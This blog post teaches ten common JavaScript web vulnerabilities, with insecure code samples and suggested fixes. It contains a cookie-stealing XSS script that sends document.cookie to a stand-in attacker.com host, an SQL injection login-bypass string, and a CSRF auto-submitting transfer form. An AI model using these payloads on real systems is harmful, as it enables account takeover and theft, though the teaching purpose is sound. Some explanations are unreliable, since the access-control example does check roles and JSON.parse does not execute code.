JavaScript runs the web—front to back. From flashy UI components to backend APIs in Node.js, it’s the language that connects everything. But with all that power comes a bigger attack surface. And most developers don’t realize how easy it is to introduce vulnerabilities with just a few lines of code.
Security isn’t just for DevSecOps or pen testers. It starts at the keyboard—when you're building forms, connecting to APIs, handling cookies, or letting users upload files. Every decision you make can either protect your app or leave it wide open.
This isn’t about fear—it’s about awareness. Knowing what to watch out for gives you the edge to write smarter, safer code. That’s what this blog is for. We’re breaking down the most common security mistakes developers make in JavaScript—real examples, how attackers exploit them, and what you can do to fix them before they hit production.
If JavaScript is your toolbox, consider this your checklist for building secure apps—whether you’re new to the stack or knee-deep in production code.
10 JavaScript Security Vulnerabilities Every Developer Should Watch For
Modern JavaScript apps are fast, flexible, and incredibly powerful—but with that power comes a growing attack surface. From dynamic frontends to server-side logic, even the smallest mistake in your code can open the door to attackers.
Whether you're building an interactive dashboard, a login flow, or a microservice, overlooking basic security hygiene can leave critical vulnerabilities lurking in plain sight.
Here are 10 vulnerabilities every JavaScript developer should be aware of:
- Stored Cross-Site Scripting (XSS)
- SQL Injection
- Cross-Site Request Forgery (CSRF)
- Insecure Direct Object Reference (IDOR)
- Server-Side Request Forgery (SSRF)
- Unvalidated Redirects and Forwards
- Insecure Deserialization
- Insufficient Logging and Monitoring
- Missing Function Level Access Control
- Use of Outdated Libraries and Frameworks

JavaScript Vulnerabilities
Let’s break down each one with real-world examples and see how they creep into your code—so you can catch them before attackers do.
1. Stored XSS
Picture a social media site where users post comments. If the platform doesn’t clean or filter user input, dangerous code can slip in unnoticed.
Stored XSS happens when an attacker inserts a script into the app—like in a comment or post—and the app saves that code on its server. When another user views the page, the script quietly runs in their browser.
<!-- User's profile page -->
<h2>Welcome, User123!</h2>
<p>Your latest post:</p>
<div id\="user-post">
<!-- Malicious script injected by an attacker -->
<script>
// Malicious code to steal user's session cookie
var maliciousScript = new Image();
maliciousScript.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
<!-- User's innocent post content -->
I love sharing content on this amazing site!
</div>
For example, the attacker might add a script to their profile post. When someone visits that page, the script executes and sends their session cookie to the attacker. That stolen cookie could let the attacker act as the user—posting, changing settings, or worse.
To block this, apps must sanitize input and safely encode content before displaying it. That way, even if a script sneaks in, it won’t execute in someone else’s browser.
2. SQL Injection
SQL injection is when someone exploits input fields—like login boxes or URLs—to send harmful SQL code to a database. This can lead to stolen data, altered records, or full access to backend systems.
Take a login form, for instance. Suppose the server builds an SQL query by directly inserting user input—without any validation. The server-side code might look something like this in a simplified form:
const username = getRequestParameter('username'); // Get username from the request
const password = getRequestParameter('password'); // Get password from the request
const query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
// Execute the SQL query and check if there is a matching user
const result = executeQuery(query);
if (result) {
// User authenticated successfully
sendResponse("Login successful");
} else {
// Authentication failed
sendResponse("Invalid username or password");
}
In the above code, the getRequestParameter
function is used to retrieve the values of the username and password from the user input. The problem arises when an attacker decides to manipulate these input fields. Let's say the attacker enters the following as the username:
' OR '1'='1' --```
Now, the modified SQL query becomes:
```SELECT * FROM users WHERE username='' OR '1'='1' --' AND password=''```
By entering something like ' OR '1'='1
and adding a comment symbol (--
), the attacker changes the original SQL query. The '1'='1'
condition always evaluates as true, and the --
comments out the rest of the statement. As a result, the database thinks the credentials are valid and logs the attacker in—no password needed.
To prevent this, always use parameterized queries or prepared statements. These tell the database to treat input as raw data—not as executable code.
3. Cross-Site Request Forgery (CSRF)
Let’s say you’re logged into a shopping site and open another page with hidden, malicious code. Without knowing it, your browser sends a request to the shopping site to perform an action—like buying something.
That’s CSRF. It tricks a user’s browser into sending an unauthorized request to a site where they’re already logged in, leveraging their active session.
Now imagine a bank transfer form. The attacker’s site secretly submits that form using JavaScript while you’re still logged in. Your bank processes the transaction because it thinks it came from you. The HTML for the form might look like this:
<form id="transferForm" action="/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="toAccount" value="attackerAccount">
<input type="submit" value="Transfer Money">
</form>
```
The attacker creates a website with the following JavaScript code:
``` document.addEventListener("DOMContentLoaded", function() {
var form = document.getElementById("transferForm");
form.submit(); // Automatically submit the form
});```
If you visit the attacker’s site while still logged into your bank, their hidden script automatically submits a transfer form behind the scenes. Because your session is still active, the bank accepts the request as if you made it—without your knowledge or approval.
This simplified example shows how CSRF works—by abusing a user’s active session to trigger actions on another site without their consent. CSRF tokens help prevent this by verifying that each request is truly user-initiated.
4. Insecure Direct Object Reference (IDOR)
Imagine a website where you view your profile using your user ID. Behind the scenes, JavaScript fetches your data and displays it. But if the site doesn’t check whether that ID actually belongs to you, an attacker could change the ID and access someone else’s information. That’s where security breaks down.
IDOR happens when an app lets users access internal resources—like files or records—just by modifying parameters in a request. No permission checks, no barriers. Let me give you an example in JavaScript:
// This is a simplified example for illustration purposes
// Assume this function is called when a user tries to view their profile
function viewUserProfile(userId) {
// Here, userId is the parameter passed to the function
// The website should check if the logged-in user has the right to access this userId's profile
// Insecure implementation: No proper authorization check
let userProfile = fetchUserProfile(userId);
// Display the user's profile information
console.log("User Profile: ", userProfile);
}
// Function to fetch user profile from the server
function fetchUserProfile(userId) {
// Simulated database with user profiles
let database = {
'user123': { name: 'John Doe', email: '[email protected]' },
'user456': { name: 'Jane Smith', email: '[email protected]' },
// More user profiles...
};
// Fetch the user profile from the database
return database[userId];
}
In this example, viewUserProfile
fetches a profile using a given userId
, but it doesn’t check if the requester actually owns that ID. Without validating permissions, the app becomes vulnerable to IDOR, allowing attackers to access others’ data.
An attacker could modify the userId
parameter—say, to 'user456'—and access someone else’s profile. Without proper checks, the system won’t stop them, even if they aren’t authorized to view that data.
To secure against IDOR, a website should always validate the user's permissions before providing access to sensitive data.
5. Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF). SSRF is a vulnerability that occurs when a web application allows an attacker to make requests to other parts of the server or internal resources that they shouldn't have access to.
Let's relate this to JavaScript. Imagine you have a website where users can input a URL, and your server fetches the content from that URL. Here's a simplified JavaScript code snippet:
const express = require('express');
const axios = require('axios');
const app = express();
const port = 3000;
app.get('/fetch', async (req, res) => {
const url = req.query.url;
try {
const response = await axios.get(url);
res.send(response.data);
} catch (error) {
res.status(500).send('Error fetching the URL');
}
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
In this case, the server fetches content from any user-provided URL. Without validation, an attacker could supply a malicious link to internal resources, like:
`http://localhost:3000/fetch?url=http://internal-server/internal-resource\`
If the server doesn't validate the input properly, it might fetch and reveal sensitive information from internal resources, leading to unauthorized access.
To prevent SSRF, applications should strictly validate and sanitize user inputs, allow requests only to trusted URLs, and block access to internal resources—just like a restaurant only serves items on its own menu and never lets customers wander into the kitchen.
6. Unvalidated Redirects and Forwards
Imagine a website that redirects users to a dashboard after login. Now, if the site allows users to customize that redirect URL without proper checks, attackers could exploit it—tricking users into visiting malicious links that appear legitimate.
Unvalidated Redirects and Forwards occur when a web app lets users navigate to other pages or external sites without checking if the destination is safe. Attackers can exploit this to redirect users to malicious or phishing sites, leading to potential data theft or fraud.
Now, let's consider a simple JavaScript example where a website allows users to customize their post-login redirect URL without proper validation:
// This is a simplified example for illustration purposes
// Function to handle user login
function login(username, password) {
// Perform authentication logic
// Get the redirect URL from user input (insecure way, for illustration)
var redirectURL = getUserInputRedirectURL();
// Redirect the user without proper validation
window.location.href = redirectURL;
}
// Function to get user input for redirect URL (insecure way, for illustration)
function getUserInputRedirectURL() {
// In a real-world scenario, this would come from user input, database, etc.
var userInput = prompt("Enter the redirect URL:");
return userInput;
}
In this example, the `login` function takes a username and password and redirects the user to a URL obtained from user input. However, there is no validation on the input URL. An attacker could potentially craft a malicious URL and trick users into visiting harmful sites.
To prevent Unvalidated Redirects and Forwards, it's crucial to validate and sanitize user input, especially when dealing with redirect URLs. Ensure that the provided URL is a trusted and allowed destination, rather than blindly redirecting users based on unvalidated input. Always prioritize security to protect users from potential phishing attacks or other malicious activities.
7. Insecure Deserialization
Serialization is the process of converting an object into a format—like a byte string or JSON—that can be stored or transmitted easily. Deserialization is the reverse: reconstructing the original object from that format so the application can use it again.
Insecure deserialization happens when an app unserializes data without proper checks. If user data—like a cookie—is stored in serialized form and can be tampered with, attackers may inject harmful input that the app then processes, leading to serious security risks.
Let's go through a real-world example using JavaScript. Consider a simple Node.js application that stores user data in a session cookie. Here's a simplified version of the code:
// Server-side code
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());
app.get('/profile', (req, res) => {
const serializedUserData = req.cookies.user;
// Insecure deserialization - converting the serialized data back to an object
const userData = JSON.parse(serializedUserData);
// Process user data and send a response
// ...
res.send('Profile page');
});
app.listen(3000, () => {
console.log('Server is running on port 3000');
});
In this example, user data is saved as a JSON string in a cookie. When the user accesses /profile
, the server retrieves and deserializes it using JSON.parse
to rebuild the data and display the profile.
Now, imagine an attacker manipulates the serialized data in their cookie to include malicious code:
{
"username": "user123",
"isAdmin": true,
"maliciousCode": "() => { /* malicious actions */ }"
}
If the server blindly deserializes this data without proper validation, it could end up executing the attacker's malicious code. This is a classic example of insecure deserialization.
To prevent this, always validate and sanitize deserialized data to ensure it’s safe before using it—reducing the risk of malicious code execution.
8. Insufficient Logging and Monitoring
One crucial aspect of security is keeping track of what's happening on your site, like who's logging in, what actions they're taking, and if there are any suspicious activities. That's where logging and monitoring come in.
Insufficient logging and monitoring means the app isn’t thoroughly recording important events or actively checking for suspicious activity. Without this oversight, attackers can slip in, cause damage, and leave without being detected.
Let's break it down with a real-world example in JavaScript:
Suppose your website has a login system, but it doesn’t properly log failed attempts. Here's an example of insufficient logging and monitoring in JavaScript:
// Incomplete logging
function login(username, password) {
if (checkCredentials(username, password)) {
// Successful login
logEvent('Successful login by ' + username);
return 'Welcome, ' + username + '!';
} else {
// Failed login
logEvent('Failed login attempt by ' + username);
return 'Invalid credentials. Please try again.';
}
}
function logEvent(message) {
// Incomplete logging - only logs to console
console.log(message);
// Should also log to a server or a dedicated logging system
// for proper monitoring and analysis
}
In this case, the logEvent
function logs only to the console, which is insufficient—it doesn’t store logs in a secure location or alert administrators about threats. Without proper monitoring, critical signs of an attack—like repeated failed login attempts—can easily go unnoticed.
To address insufficient logging and monitoring, enhance your system to securely store logs and actively monitor for suspicious activity. Set up alerts to notify administrators when threats occur, so issues can be detected and resolved before they escalate.
9. Missing Function Level Access Control
Sure, let's break down what "Missing Function Level Access Control" means in a simple way.
Imagine a website with different user roles—like regular members and admins. "Function Level Access Control" means certain actions should only be allowed for users with the proper permissions based on their role.
Now, the term "Missing Function Level Access Control" indicates a security issue where the proper checks and controls to restrict access to certain functions are not in place. In other words, the system fails to verify whether a user attempting to perform a specific action actually has the authorization to do so.
Let's look at a basic example in JavaScript:
// Assume these are user roles
const ROLES = {
GUEST: 'guest',
MEMBER: 'member',
ADMIN: 'admin'
};
// This function represents a sensitive operation, accessible only to admins
function adminOnlyFunction() {
console.log("This is an admin-only function.");
}
// Function to perform some action based on the user's role
function performAction(userRole) {
if (userRole === ROLES.ADMIN) {
adminOnlyFunction();
} else {
console.log("You don't have permission to perform this action.");
}
}
// Example usage
performAction(ROLES.MEMBER); // This should deny access for a regular member
In this example, adminOnlyFunction
should only be used by admins, but performAction
doesn’t properly verify the user's role. Without strict checks, unauthorized users could trigger admin-level actions, leading to serious security risks.
To fix this, the performAction
function should check if the user has the right role before allowing access to sensitive actions. Adding these role-based controls helps block unauthorized use and keeps the application secure.
10. Use of Outdated Libraries and Frameworks
In programming—especially with JavaScript—developers use libraries and frameworks to streamline code. These tools are updated often to fix bugs, improve security, and add new features.
"Use of outdated libraries and frameworks" means sticking with older versions even when updates are available. This can expose your app to security vulnerabilities, reduce performance, and leave out important new features.
Let's dive into a real-world example in JavaScript:
Imagine you’re building a site with an old version of a popular JavaScript UI library. Since then, several updates have patched security issues and improved performance—but your project still runs on outdated code.
// Using an outdated version of the UI library
import OutdatedUILibrary from 'outdated-ui-library';
const button = new OutdatedUILibrary.Button('Click me');
button.render();
Now, let's say the library has released a new version that includes optimizations, security patches, and additional features:
// Updated version of the UI library
import UpdatedUILibrary from 'updated-ui-library';
const button = new UpdatedUILibrary.Button('Click me');
button.render();
Using an outdated library means missing key improvements and exposing your project to security risks—like baking cookies with an old recipe when a better, safer one exists.
Using outdated libraries is like following an old recipe while a safer, improved version is available. Regularly updating your tools ensures your code stays secure, runs efficiently, and benefits from the latest features and fixes in the development ecosystem.
Write Code That Fights Back
Security bugs aren’t random—they’re built in by accident, hiding in plain sight. JavaScript apps don’t need to be massive or complex to be vulnerable. All it takes is a few skipped basics: unfiltered input, missing access checks, outdated dependencies, or trusting the client just a bit too much.
The upside? Most of these flaws are preventable. You don’t need advanced security tools or a degree in cryptography. Just better habits. Sanitize what goes in. Validate what comes out. Lock down sensitive actions. Keep your libraries and frameworks updated. And always log the things you’d want to know if something went wrong.
Secure coding isn’t about fear—it’s about paying attention. You don’t have to memorize every vulnerability out there. Just ask the right questions. If something feels too easy, too exposed, or too quiet, it’s worth a second look.
Writing secure code isn’t a checkbox—it’s a muscle. Fix the bad patterns. Stay curious. And keep building with your eyes open.
Because the better you understand how attacks work, the harder it is to write code that helps them succeed.
Frequently Asked Questions

Robin Joseph
Head of Security testing